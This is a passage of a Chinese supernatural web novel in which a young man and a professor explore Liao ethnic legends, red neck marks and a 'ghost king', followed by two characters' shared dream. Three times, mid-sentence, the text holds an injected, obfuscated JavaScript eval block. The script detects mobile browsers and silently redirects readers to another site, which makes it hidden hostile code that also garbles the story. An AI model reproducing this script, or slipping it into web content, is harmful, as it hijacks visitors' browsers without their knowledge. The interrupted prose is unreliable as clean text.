易无钦判断出他就是姜放教授,立马上前,“姜老师,您好,我是易无钦。” 姜放抬头看他,“哟,小伙子,这么高一个。你等久了吧?” “没有,没有。”易无钦要接过他的背包,“我帮您背吧。” 姜放摆摆手拒绝了,“不重,就放了一个本子。” 他朝小伙子嘱咐了几句,跟他和司机告别,这才拉着易无钦往山上走。 “姜老师,咱们这是,去爬‘华容道’,还是去悬空寺?”易无钦边走边问。 姜放摇头,“都不是,我们去一个朋友那里。不远的。” 易无钦没想到,姜放说的这个朋友竟然是金吉。 “金老弟家有很多旧书,有不少是地方志,还是孤本。”姜放跟易无钦解释,“你要了解的事情说不定在这里面能找到答案,所以我约你来这里。不过也不是说今天一下子就能找到答案。” 金吉端了两个凳子给他们,又倒了两杯水,让他们自己去翻那些书。自己在一旁整理山货。 “归望镇以前叫龙现场,”姜放一边翻书一边对易无钦科普,“镇上现在是两大姓,金姓和郑姓。” 易无钦帮他从背包里拿出本子和笔,“哦,难怪,我认识的人不是姓金就是姓郑。” 金吉在旁边听到了,忍不住插嘴,“解放前,我们姓金的钱多,他们姓郑的人多。郑家给金家当长工。解放后就人人平等了。” 易无钦感慨,“原来你们是大宗族。你们金姓钱多的话,得有百年历史才能沉淀财富吧?” 姜放摆手,“哪有啥百年的大宗族,没有那么久的传承。‘湖广填四川’你听说过吧?这里以前也属于四川,也在被填的范围内。而且人口迁徙并不是一次完成的,归望镇的人口也经历过好多次的变更。百年前这里可能已经有了金姓和郑姓,但再往前走走,就不一定是这两个姓的大家族了。所以金老弟家里这些书就很宝贵,能帮我们理清人口迁徙的脉络。” 易无钦恍然大悟,“怪不得呢,这里叫归望镇,有个鬼王山。但很少有人说清楚山得名的原因,是因为人口迁徙的原因吗?” 姜放说,“可以算作是吧。” 易无钦继续说,“那镇上也没啥人知道僚人这个民族,也是因为这个吧?” 姜放抬起头看着他,推了推鼻梁上的眼镜,“小易,首先我要指正你,这个民族叫僚族。这个字写作官僚的‘僚’,但读音是老人的‘老’,僚人,老人,别读错了。” “哦,老人,僚人,僚族,南僚,僚人文化,”易无钦在嘴里反复念叨着,忽然一种似曾相似的感觉浮现在脑海里。他急忙抓住那股乍现的灵光,追寻那股奇怪的熟悉。 姜放浑然不知他在干什么,继续说,“其次,僚人活跃的时期是唐宋时。杜甫、刘禹锡这些大诗人曾经写诗提到过这个民族,还写了他们的生活习性。甚至唐传说里,也有他们的身影。但到清朝时已经式微,现在本地人不知道很正常……” 易无钦蓦地抓住姜放的胳膊,神情激动,双目微红,“我听说过,我听说过。” 姜放被他突然一抓,吓了一跳,“小易,你怎么了?” 易无钦几乎要流下泪来,“我小时候听爸爸提到过这个民族,他有一个笔记本专门记载。” 他记起来了。在教师村的那间小屋里,有段时间,爸爸拿着一个笔记本写写画画。易无钦问他画的是什么,爸爸笑着说是僚人文化的符号。 “老人还有文化?老人还有符号?”易无钦觉得很奇怪,小小的他理解不了。 爸爸笑着说等他大一些再讲给他听。可惜,他没等到他长大。 “原来是僚人,僚人文化。”易无钦愣在那里。 姜放觉得有些莫名,不知他这是怎么了。他关心地看着易无钦,想问他啥情况。可细细盯着那张脸,他开始觉得有一丝熟悉。 他忍不住问出来,“小易,你姓易。我听老黄说你小时候跟爸妈在归望镇住过。你爸爸,是不是叫易松涛?” 蓦然听到这个名字,易无钦十分激动,“对,对,您认识我爸爸?” 姜放大喜过望,拍了拍他的肩膀,“你爸爸当年也研究僚人文化,我们还交流过好几次。我家里还保留着我俩往来的书信。” 他十分感慨,“真是缘分啊,在归望镇遇上了故人之子。你爸妈,唉……” 易无钦终于忍不住,眼泪大颗大颗往下落,逐渐泣不成声。 金吉默默递上纸巾,看了好几次易无钦,然后继续整理自己的山货。 姜放抱着易无钦的肩头,不住安慰。 过了好一会儿,易无钦终于止住了泪水,“对不起,姜教授,金吉叔叔,让你们看笑话了。” 金吉没说话。 姜放说,“别叫我教授这么生分,就叫我叔叔嘛。” 他又叹了口气,“你爸爸当年失踪得太突然了,这些年我也很想晓得他的下落。前几年宾化文物所的同事搞文物普查,我还拜托他们到归望镇好好查一查,可惜也没啥结果。” 易无钦垂着头,“我前些日子去了派出所问过,当年的警察也有印象,可惜没有线索。” 姜放默然了一会儿,“这件事只能讲缘分了。” 他又说,“我记得你爸爸当年很喜欢研究僚人文化。其实这个族群文化最多的是在綦江,就是我现在工作的地方。宾化这里是其中一支,被称作南僚的。” 易无钦收了收心神,“叔叔,你再多讲讲这个僚族吧,我也想多了解一些,说不定能机缘巧合找到爸爸当年的线索。” 姜放作为研究僚人文化的专家,对于这方面的知识自然是信手拈来,不需要翻笔记。 “僚,是古代中原地区的人对西南和岭南一些民族的泛称,不是单一民族。秦汉时期就有了,魏晋南北朝最为鼎盛。那个时期云南的僚人大规模迁徙到巴蜀来,史称‘僚人入蜀’。僚人内部支系很多,而活跃在綦江和宾化的僚族就是其中最强大的‘南平僚’。这个民族虽然现在听说得很少了,但他们的很多生活习性流传至今。渝州很出名的吊脚楼就是来源于他们的‘干栏’。”「1」 “你给老黄看的那个吊坠,是一个鼓的样式。虽然材质是水晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533799|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但根据那个制式,应该是僚人的铜鼓。因为上面的动物图腾,是蚂拐。” 易无钦听得一愣一愣,提到吊坠时,他忍不住看向金吉。只见他仍然在整理山货,但动作放慢了很多,明显心思在听姜放说话。 “铜鼓和蚂拐有什么重要的含义吗?”易无钦问。 姜放喝了口水,“铜鼓是僚人权力的象征,首领可以用它调集部落人马。它在战争、祭祀、报警等活动中有重要的作用和地位。” “至于蚂拐,就是青蛙。蚂拐产卵多,是多子多福的象征。古人嘛,都希望多生能繁衍更多后代。除此之外,蚂拐还是雷神的化身。因为青蛙是春夏活跃,蛙鸣就有雷雨,就能带来丰收。从这一点你就能看出蚂拐在僚人文化中的地位有多高。” 易无钦又回想起了金海军死的那晚,他被魇住时,听到了鼓声和蛙鸣,然后被解救了。原来这跟僚人文化有关。 “对了,小易,”姜放突然问,“你那个水晶吊坠,我看照片感觉年份并不远,感觉就是现代工艺的东西。是哪里来的啊?” 他又解释说,“我也没别的意思。就是现在知道僚人的并不多,了解这个民族文化的更少了。所以有点好奇。” 易无钦有点犹豫,那个吊坠是金吉的,当着他的面好不好说这个? 金吉倒是先开口了,“你说的那个吊坠是雪雪那个吧?那是我给她的,是一个朋友送我的护身符。” 他顿了下,“我不晓得这个东西跟你们说的那个啥子僚人文化有关。这个朋友也不在归望镇,她离开都几十年了,我们也早就没了联系。我估计她是小的时候看到屋头老人有这个花样吧。” 姜放“哦”了一声,觉得这个解释合情合理。 “姜叔,你再说说僚人相关的东西吧,有没有什么神话之类的。”易无钦说。 “好,”姜放推了推眼镜,“僚人起源的传说是,上古洪水后,九天玄女投下了九颗灵石在僚人河,也就是发源于金佛山的藻渡河,是僚人的母亲河。其中一块灵石裂生了人类始祖,也就是最早的僚王,而其他八颗灵石生出了僚人八个部落图腾。” 灵石?易无钦忽而想到郑咏絮的那个梦,她梦到的就是一块大灵石,发出铜鼓声,许多身影往里跳。 “看来灵石在僚人文化里有很重要的地位。”易无钦忍不住说。 姜放点点头,“在僚人传说里,灵石不仅是‘石生人’的起源,也是他们精神意志的寄托。” 易无钦若有所思。 姜放笑道,“关于僚人的故事讲不完,来日方长,我慢慢跟你说。难得你也这么感兴趣,真是子承父业。下周我的讲座你也来听吧。” 易无钦点点头,“好。” 姜放又感慨,“其实你爸爸对僚人的研究也非常深入。我从小生长在这个地方,僚人文化对于我们来说是耳濡目染,浸润很深,一些事情上因为习以为常所以不够重视。但你爸爸不一样,他是东北人,看问题的角度跟我完全不一样。很多时候还有独到的见解,反而能发现一些被我忽视的事情。” 他又说,“我记得你爸爸当时有一个笔记本,皮革面的,是你爷爷给他的。” 易无钦点点头,“对,我见过那个笔记本,是爷爷最早参加三线建设的纪念品。爸爸很宝贵它。” 姜放追问,“那个笔记本在你那儿吗?” 易无钦摇头,“不在。” 姜放颇为惋惜,“可惜了,老易在里面记录了很多心得。那会儿没有电脑,不然还能保存在电脑上。” 24. 雷神 易无钦继续帮着姜放整理那些旧书。 大概因为刚才的气氛有些沉闷,姜放有心调节一下,“我再给你们讲个僚人有趣的传奇故事吧。” 他喝口水润了润喉咙,“我要讲的是飞头僚的故事。这是唐朝的段成式在《酉阳杂俎》里面记载的。说是这种僚人在白天还好好的,到了夜晚,头就脱离身体自己飞出去,用耳朵当翅膀飞。飞出去干啥呢?找吃的,吃蜘蛛螃蟹蚯蚓,到了快天亮时头再飞回来回到脖子上。” “有意思吧?”姜放看见易无钦和金吉都听得入神,笑呵呵问。 易无钦点头,“确实很有意思。头飞出去,结果是吃那些东西,要是真的喜欢吃这个,平时也能吃啊。干嘛要晚上把头飞出去吃?再说了,头飞出去很危险吧?要是不能及时回来怎么办?” 姜放摆摆手,继续解释,“飞头僚飞出去的头倒是能知道回来,但要是回来发现找不到身体了,那就惨了。所以一般要家人在旁边守着。” 他又说,“而且,飞头僚并不是天天晚上都飞头出去。当他们要飞头出去之前一天,颈部会出现一圈红痕,像细线缠绕一样。红痕出现了,代表头要飞出去了。” 红痕?易无钦忽然感觉到头皮发麻,手不自觉去摸自己的脖子。 忽听门口传来一声惊呼,他们三人不约而同朝门口看去。 只见郑咏絮站在门口,眼里是掩饰不住的惊恐,“什,什么?头会飞出去?” 金吉回过神来,抢先介绍,“姜大哥,这是我侄女郑咏絮,她在你要去开讲座那个大学图书馆上班。” 姜放“哦哦”了两声,朝她招手,“小姑娘进来坐,我刚刚讲的是传说故事,不是真的,别被吓到了。” 郑咏絮定了定神,朝屋内走去,“姜教授,你是说飞头僚脖子上出现一圈红痕,头就会飞出去?头离了身体不就死了吗?” 姜放哈哈大笑,“所以这就是个故事嘛,当不得真。《酉阳杂俎》这本书就是记载神神鬼鬼的故事,当个乐看。” “传说都来源于现实,有迹可循。在这个故事里,就算头飞出去是编的,那也一定是基于某种事实编的。”郑咏絮分析,她试探着问,“比如说,脖子上真的会出现红痕?” 姜放思索了下,回答说,“红痕这事真不真不好说,但僚人确实还有另一个相关的传说。那就是,蚂拐会攻击敌人,脖子上的红痕就是蚂拐攻击敌人后留下的印记。” “蚂拐攻击敌人?”郑咏絮听得又是一惊。 姜放说,“这应该也是个传说。青蛙这种小东西一般不会攻击人,就算攻击了也不会让人留下红痕。之所以加上这些元素大概是僚人为了显得雷神蚂拐有神力。” 郑咏絮听得愣愣的。 易无钦端了个凳子给她,“你怎么来了?” 郑咏絮回神坐下,“今天会议结束得早,我看有时间就来了。” 她礼貌地朝姜放笑笑,“姜教授,您好。我叫郑咏絮,下周您来学校图书馆是我负责接待。” “哦哦,好。”姜放笑呵呵,“你们对僚人文化都感兴趣吧?到时候都来听我的讲座。” “肯定去的。”郑咏絮笑笑。 她思索了一下,又问,“姜教授,我还想问一下。僚人那么神奇的文化里,关于鬼神有没有什么说法?” 易无钦看着她,知道她指的是什么,也十分期待看着姜放。 姜放拍了下手,说,“你这问到点上了。僚人非常崇敬鬼神,还要向鬼神祭祀。”他看着郑咏絮说,“小姑娘说出来你别害怕。僚人的祭祀被称为淫祀,因为他们用的是人头,猎人头,尤其是长得好看的人头来向鬼神祭祀。甚至还有记载说有僚人家里穷,但卖妻卖儿也要凑够钱去祭祀。” “猎人头?”郑咏絮念叨着。 “猎人头,也叫馘首。是南僚的一大文化标识。猎下来的头会被剥取面皮,用竹笼制了风干,称为‘鬼’。僚人认为这种‘鬼’,可以沟通神灵并召唤雷神。”姜放讲得津津有味,看他们的神情并不害怕,也就放下心来。 易无钦问道,“那有没有关于魂魄的呢?” “魂魄?”姜放笑说,“那就更多了。僚人认为万物有灵,人有三魂,生魂、游魂、守魂。而头部是灵魂的总枢纽,猎人头不是战场上的计战功,而是猎取灵魂,猎头制成的‘鬼’,他们认为灵力非常强。” 郑咏絮忍不住问道:“人有三魂,那丢了一魂会怎样?” 姜放觉得她这个问题问得奇怪,一时间竟然想不起该怎么回答,“你可问住我了,我得回去查查资料。呵呵,僚人文化历史久远,我的研究也不过皮毛。” 郑咏絮觉得有点不好意思,“对不起教授,其实我也就随便问问。不过我听你说了这些,感觉僚人文化确实很有意思。趁着您在宾化,我们可得多向您请教,希望您不要嫌烦。” 姜放笑着说,“我来大学做讲座的目的就是希望,越来越多的年轻人对僚人文化甚至中华传统文化感兴趣。只要你们愿意听,我就愿意讲。你们别嫌我话多才是。” 又闲聊了几句,眼看时间不早了。姜放整理了几本书出来,跟金吉言明要借回去看。 金吉点头答应,又拿了一袋春笋给姜放,让他带回去尝鲜。 姜放推辞不过,只好收下。 易无钦主动帮姜放拿春笋,送他下山。 郑咏絮却没有要走的意思,“我还有些事情要跟舅舅说,你们先走吧。” “那你下山时注意点。”易无钦说。 目送二人走远后,郑咏絮回到屋内。 “舅舅,你怎么看?”她问金吉。 金吉将剩下的书一本一本整理好,沉默了一会儿才说,“跟姜放说的那个僚人是有很大关系。” 郑咏絮激动地说,“关系大了。铜鼓、青蛙、大石,都对上了。还有最重要的,脖子上的红痕!” 她摸着自己的脖子,心有余悸,“怎么办?该不会真的像飞头僚那样,红痕连成一圈,头就飞出去了吧?” 金吉瞥她一眼,“姜放还说了,蚂拐攻击你也会留下红痕。所以这多半不是飞头僚,而是印记。蚂拐敌人的印记。” 郑咏絮瞪着眼,“舅舅,你怎么肯定不是飞头僚?” 金吉解开衣领的扣子,将领口拉下来,“你看,我的红痕连成一圈了吗?” 郑咏絮顺着他的手看过去,脖子上赫然一道差不多十厘米的红痕。这道红痕比起她自己脖子上那道要深很多,大概是因为它在金吉脖子上呆了几十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535767|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的缘故吧。 “舅舅,你说我们这次真能对抗鬼王吗?你听刚才姜放教授说的,又是啥猎人头,又是啥飞头僚,匪夷所思。”郑咏絮忽而垂头丧气,“我有时候很乐观,有时候却很没底气。” 金吉看着她,“你的没底气来源于未知的事情太多了。无论如何,你必须相信自己能战胜鬼王。” 郑咏絮抬起头,“我真的很害怕自己年纪轻轻就死了,我也很害怕变成郑飞那样痴痴傻傻的。但是舅舅,你现在还是好好的,所以我也会没事对吗?” 金吉叹了口气。 郑咏絮继续问,“舅舅,你跟你的另一个祭童再也没联系过了吗?她现在怎么样?” 金吉沉默了好一会儿,才说,“我们没有任何联系。我不知道她在哪里,反正不在归望镇。但十年前她托人送那个吊坠给我,意思就是她是安全完好的。我们彼此安全,这就是最重要的。” 他看着郑咏絮,心里十分不忍,“咏絮,我当年的情况跟你现在不一样,你们现在要面对的复杂多了。我那时拼了好大的劲儿,使尽了办法,让她好好地离开了归望镇。哪怕我这辈子都不能离开归望镇半步,但起码我俩都是安全的。可我能做到的原因在于,当年的鬼王没有现在这么强。” 他恨恨地说,“我不晓得是不是金万堂用了啥子秘方供养鬼王。我原以为当年破了祭童的局,能重创它。结果红痕居然出现在了你身上。我这才知道这事竟然远远没有完。” 他拍着郑咏絮肩膀,“咏絮,你一定要坚强。说得难听点,也要不怕牺牲。如果不让鬼王这东西彻底消失,以后还会有人重复我们这样的命运。所以一定要让我们失去的自由和牺牲,变得有意义。” 郑咏絮虽然没说话,但重重点了点头。 过了好一会儿,郑咏絮又问,“那舅舅,你觉得归望镇的鬼王是不是就是僚人的什么东西?” 金吉皱着眉头,“不好说。如果鬼王是僚人,那为什么那个吊坠能救易无钦?” “也不全是因为吊坠吧。金海军魇他那会儿,不是我及时赶到了吗?”郑咏絮不解地说,“都是僚人的东西,相生相克也说不定吧。” 她又说,“对了,舅舅。我觉得你好像不大信任易无钦,可当时不是你让我一定要去东北对他抢先挑明一切,好在金万堂之前拉拢他吗?” 金吉沉思了一会儿,“我觉得他很特别。明明是归望镇的鬼王,为何会选中一个东北的外地人当祭童。没搞懂这一点,我不敢随便信他。倒不是说不信任他的为人,而是有些事情不是人为控制的。” 郑咏絮想了一下,“会不会跟他父母当年的失踪也有关系?” “不知道,不好说。”金吉摇头,“我们未知的东西还是太多了”。 “那我们接下来要做什么?”郑咏絮看着屋里的那些书,“查资料吗?” 金吉说,“查资料是要查的,首先要搞清楚一件事。鬼王是怎么跟祭童产生联系的。” 这话说得郑咏絮心里发毛,“联,联系?鬼王要跟我们联系?它跟你联系过?” “鬼王是怎么跟金万堂联系的,就会怎么跟你俩联系。”金吉分析说,“我当年是趁它虚弱,生生断了联系。还没开始就结束,所以我不知道。” 25. 祭童 郑咏絮算着山里客车时间下了山。 走到山水村村委会旁的公交站,她看见易无钦坐在那里。 “你怎么还在这儿?姜教授呢?” 易无钦说,“你们学校的公务车把他接回去了。” “那你怎么没跟着一起走?”郑咏絮在他旁边坐下。 易无钦低下头,“我不赶时间。” 这话莫名其妙的,郑咏絮想着刚才和金吉说的话,一时间没细想。 这个站台现在只有他俩在等车,隔壁村委会的人也只剩值班的人。 “你别说,晚上要是一个人走在这个山路上,那还真有点怕。”郑咏絮说道。 山风吹过来,吹起她额前的碎发。易无钦挨得近,头发丝也拂到了他脸上,酥酥麻麻的。 她见他没有搭话,心里想了一下,顿时明了。易无钦是专门在这里等她的,就是担心她一个人害怕。 郑咏絮心里有些感动。 “我是有点害怕。下午姜教授说的那些僚人相关的,又是飞头僚,又是猎人头,太奇怪了。”郑咏絮叹了口气,“相比之下,金海军反而不算什么了。” 易无钦紧张道:“这几天你又看到他了?他没对你做什么吧?” 郑咏絮沉默了一下,“看到过两次,不过离得远远的。小萍告诉我,她倒是再也没看到了。” 易无钦说,“那咱们也去求个符吧。” 郑咏絮摇头,“一个符挡住了金海军,能挡住鬼王吗?根源不在符上。刚才下山时,我还在想,金海军的存在,反倒是在提醒我现在的处境。” 她侧了侧身,对着易无钦低声说,“咱们现在要搞清楚一个事情。” 易无钦有些不自然,因为两人的距离更近了,“什,什么?” 郑咏絮严肃地说,“我们是鬼王的祭童,那么鬼王是怎么和我们交流。” 她的气息几乎是贴着易无钦,他忍不住红了耳朵,“交,交流?” “金万堂就能跟鬼王交流,只是没人知道方式。”郑咏絮站起身来,看着远方的山,“我曾经问过金万堂,祭童是不是有什么仪式。他说没有,鬼王只是要我和你呆在归望镇不出去。等时机到了,鬼王自有安排。” “什么时机?”易无钦抬头看她。 “不知道。所以我们要搞懂和鬼王交流的方式。”郑咏絮心情沉重,“否则哪天说死就死。” 易无钦也跟着站起身来,“金万堂到底有什么特别的,能和鬼王交流?” 郑咏絮看着他,神色复杂,“你知道我是怎么被发现被鬼王选中了吗?” 易无钦摇头。 “因为有一天,我好奇地问金万堂,他脖子上为啥有一道红痕,是不是生病了。”郑咏絮脸色沉重,语气冰冷,“脖子上出现红痕代表是被鬼王选中的祭童,祭童和祭童之间可以看见彼此的红痕。” “金万堂,也是祭童。”她一字一顿地说。 公交车在这时终于到站了。 郑咏絮拉着因惊讶回不了神的易无钦上了车。 车子朝着镇上的方向而去。山水村本就离镇上不远,只不过全都是蜿蜒的山路,再加上公交车开得慢,走走停停,这一段时间也不短。 一路上,二人都没有说话。 回到镇上时,天已经开始黑了。 郑咏絮知道易无钦有话想问她,于是跟家里说了不回去吃饭,带着易无钦去广场上找了个露天的馆子随便点了两个菜。 “既然他是祭童,为什么他没死?”易无钦抛出疑问。 郑咏絮听到这个问题后盯住了他。她的一双眼睛圆圆的,原本笑起来很可爱。但因为眼珠子比较大,在面无表情盯着人看的时候又有几分鬼气。 在这个夜晚下,易无钦心里有点发毛。 “因为他的另一个祭童,死了。”郑咏絮回答。 死了,祭童命就解了。他甚至还不用像金吉那样,永远不能出归望镇。 “他干的吗?”易无钦声音干涩。 郑咏絮缓缓摇头,“那年他才几岁,都不大明白这一切,更别说杀人。那一位祭童是一个比他年龄大的女娃,参加抗美援朝战争,牺牲在了战场上。金万堂是后来知道祭童的事了,对这个同样脖子有红痕的姐姐有印象,才明白的。” 老板将炒好的菜端上来。 两人对着热腾腾的饭菜却都没什么胃口,舀了米饭夹了菜在碗里,敷衍地吃着。 “你放心好了,我不会对你下手的。”郑咏絮冷不丁地说,“不然也不会千里迢迢去东北找你。就算当时是金万堂交代了任务,我也可以推说身体不适应,半路就回来。” 易无钦笑了起来,“我知道你不会,我也不会。” 这一笑,方才的沉闷消散了不少,两人胃口也好了很多。 “对了,你怎么知道金万堂另一个祭童死了?他告诉你的?”易无钦问道。 郑咏絮摇头,“他肯定不会说,不然他得担心我俩自相残杀。他给我的理由是,他年轻时鬼王力量没有恢复,没有能力让他祭祀。等鬼王恢复了,他已经过了年龄。鬼王只能要年轻的祭童。至于另一个祭童的事,我是想办法查出来的。” 那位祭童的事,自然是金吉想办法弄清楚的。不过他和郑咏絮商量好了,先隐瞒他也是祭童的身份,拣一些事情挑时间告诉易无钦。免得遇见不可预知的意外不好控制情况。 易无钦奇怪道:“鬼王力量还有恢复期?它那会儿遭遇了什么?” “不知道。”这事郑咏絮的确不知,只能猜测,“金万堂是解放前出生的人,那时连连战乱,鬼王也不好过吧。” 一顿饭吃完,两人各自回家。易无钦将郑咏絮送到家附近,看着她进了房门才转身离开。 还没回到旅馆,他就接到郑咏絮的电话。 “我妈看到你送我回来了,她叫你后天周六来家里吃饭。” “哦,好。”易无钦乖乖答应。 挂掉电话后,他轻声哼起了歌。在春日晚上的微风里,那些跟僚人和鬼王还有祭童的事,都不重要了。 * 当天晚上,两个人都做起了奇怪的梦。 易无钦梦见的是自己的头飞了出去,飞出旅馆,飞往鬼王山。 他一点也没觉得恐怖,反而觉得自己像《东成西就》里的段王爷,差点笑出声。 他飞在空中俯瞰鬼王山,就像是用航拍的视角。 感觉很奇妙,有一种无拘无束的自由。 易无钦飞行在鬼王山的山林间,一会儿白天,一会儿黑夜。不过好在都是晴朗的,没有下雨,也没有云瀑,甚至连山风都没有。 他也不是漫步目的地飞,而是这里看看,那里瞧瞧,尤其是悬崖旁,或是人迹罕至的地方。 过了一会儿,易无钦终于意识到,自己这是在找东西。 找什么呢?他不知道。 山林里的穿梭畅通无阻,那些茂密的树枝并不能阻挡他半分。 “在林子里没有,可能要去山洞里找。”他这样念叨着,忽然看见了一些身影。 大部分的身影都是模模糊糊的,但有三个他认得。 一个是金海军。 一个是郑飞。 还有一个,是郑咏絮。 * 郑咏絮梦见自己走在一片云雾里。 非常大的云雾,可见度为零。阻挡了视线,也隔绝了声音。 她走得十分小心翼翼,不知道下一步是不是悬崖。 忽然,四周变得影影绰绰,逐渐有了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537557|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。 云雾散去,她看见很多人。他们都往前方走。 “郑咏絮。” 有人在叫她。 她循声望去,看见了两个认识的人。 金海军和郑飞。 他俩一左一右走在她身边,和她聊天。 聊天的内容模模糊糊,郑咏絮有一搭没一搭地回答。 她心里奇怪的是,金海军就是没死前和她正常说话的样子。而郑飞也并不是疗养院那样的疯疯傻傻。两个人都是归望镇最正常的年轻人。 走动的人群突然停了下来。 郑咏絮环视四周,发现这是上次梦中那个山洞。正前方,许多人围着一块大石。上次那块大石。 “这难道是姜放教授说的僚人的灵石?”郑咏絮在心里默默地想。 金海军和郑飞却像听得到她的心里话一样,同时对她点头。 郑咏絮看了看那些人,“他们是传说中的僚人?” 金海军和郑飞不约而同回答,“对头,是僚人。” 那些人又开始朝大石里跳进去,大石像海绵一样将他们都吸收掉。 金海军和郑飞也走过去,站在大石旁。 郑咏絮等了好一会儿,看他们并没有任何动作,只是一动不动站在那里。 她忍不住好奇走过去,却看到那块大石像是水晶一样,变得透明。她清清楚楚看到,方才那些跳进去的人都被挤在大石里,哀嚎不已。 金海军和郑飞也在,他们看起来十分淡。郑咏絮觉得像透明的鬼。 他们表情看上去痛苦极了,面部扭曲地看着她。 郑咏絮被吓得退后几步,却蓦然发现金海军和郑飞仍然站在她旁边。 只是站在旁边的两人又变了样子。 金海军穿着寿衣,用背面对着她,就像她在他死后多次看到他的那样。 郑飞又是疗养院那样痴痴傻傻的。 郑咏絮又看向那块大石,里面的金海军和郑飞,仍然和许多人混在一起,痛苦极了。 “咏絮,咏絮……” 她忽然听见有人叫她的名字,再听了一会儿好像是易无钦的声音。 她猛然转过头去,梦就在此时醒了。 郑咏絮在黑暗中发了好一会儿呆,刚才的梦虽然诡异,但却让她觉得有一种真实感,是从前做梦没有过的感觉。 她心里仍然觉得害怕,却不敢打开灯,害怕会在房间里看到什么。 她摸索着拿过床头的手机,发现此时不过才半夜三点,索性躲进被窝里。打开微信,将刚才的梦境组织成文字,发了一长段给易无钦。 没想到易无钦很快就回了她的信息。 “你这是日有所思,夜有所梦吧。” 郑咏絮立即打字反驳,“不是的,梦境太真实了。” 易无钦很快又回复,“别胡思乱想,赶快睡觉吧,你还得上班呢。” 郑咏絮看着回复正在思考怎么说,却看见他又来了信息,“养足精神,有事白天再说吧。我去学校找你,中午请你吃好的。” “才做了这样的梦,我怎么睡得着。”她发了句抱怨过去。 易无钦很快发了几张图片过来,“这是我上次做的设计图,好看吧?被客户夸了,多给了几百块奖金。” 郑咏絮点开一看,是水墨中式风格的系列海报,画面干净简约又没有想象中的老气。她看了看文字,是一个酒品牌的海报。 看不出,他挺有两把刷子。 就是不知道照相技术怎么样。要不,改天休息时,让他帮她拍几张好看的日常照。要看起来日常实则比照相馆的艺术照还要好看的那种,也就是美得漫不经心。 被易无钦成功转移注意力后,郑咏絮在胡思乱想中很快又沉沉睡去。 26. 定魂 自从几年前大学在宾化建成使用后,原本是郊外的地方也越来越热闹。 郑咏絮挑了家串串香,和易无钦一起选了菜交给老板煮。 这家串串香原本是宾化县老城区里的一家很出名的店。那片老城区拆了后,老板搬到了大学附近,生意更好了。 叫串串香并不准确,因为在渝州,串着肉或菜的竹签煮在火锅里捞着吃的才叫串串香。宾化县的其实应该叫麻辣烫。 当然,这个辣度对于火锅来说,非常低,易无钦很能接受。 两人坐在楼上的包间里边吃边聊。 郑咏絮又复述了一遍梦境。 易无钦看了她一眼,“其实我在你身后都看见了的。” “你在我身后?”郑咏絮惊得差点跳起来,“梦里的最后,我听见你在叫我,那真是你?你怎么能到我梦里来?” 易无钦说,“我觉得应该不是我到了你梦里,而是我俩在同一个梦里。”他对郑咏絮讲了自己的梦。 郑咏絮听后不禁感慨,“这个梦简直可以说是僚人梦。你是飞头僚,我是大石。是要好好补补跟僚人有关的知识。” 易无钦点点头。 两人吃了一会儿菜。 郑咏絮忽然说,“那半夜我给你发信息的时候你咋不说你也在梦里,还说我是想多了。” 易无钦笑了笑,没有说话。 “你怕半夜说这个我会害怕吗?”郑咏絮问道。 易无钦不置可否。 “我哪有那么胆小?”郑咏絮撅着嘴咕哝了一句,心里却升起异样的开心。 “哦,对了,这个给你。”易无钦从口袋里拿出一个布袋子。 郑咏絮放下筷子,打开一看,是一串手串,大部分珠子是木头的,有几颗是其他材质。 “这是什么?” “定魂珠。”易无钦解释,“殷姥姥帮我们找大师求的,是种什么木头,我记不住名字。旁边白色的是动物骨头。” “啊?”郑咏絮正拿着手串闻,听到是动物骨头愣住了。 易无钦笑了笑,“这个不是新的,是很多年前的骨头,大师盘都盘圆润了。” 郑咏絮倒也不介意,将它戴到了手上,“真能定魂啊?” 易无钦也亮出自己手上的手串,“有总比没有好。” 现在,两人手上戴着一样的手串,倒像是个情侣款。郑咏絮想到这里,略略红了脸,将手垂了下去。 易无钦没注意到这点,拿起筷子夹了菜,“咱们再说说那个梦吧。” “哦。”郑咏絮也拿起筷子去吃菜。 “你觉得那是在暗示什么吗?”易无钦问道。 郑咏絮说,“暗示那个大石吗?它会吸走灵魂?” “姜教授说,僚人的创世神话里,僚王是从九天玄女投下的灵石中诞生的。会不会就是梦中的大石?”易无钦分析,“如果是的话,那就有意思了。灵石生人,人死后再回到灵石里。” 郑咏絮忍不住说,“这是僚人的神话,僚人只存在西南地区。我是归望镇人,要说硬算的话也可以说是这个僚人的后人。但你远在东北啊,跟僚人有什么关系?难道你也要回到灵石里?” 易无钦叹了口气,“不知道。可能僚人想要新鲜血液吧。” 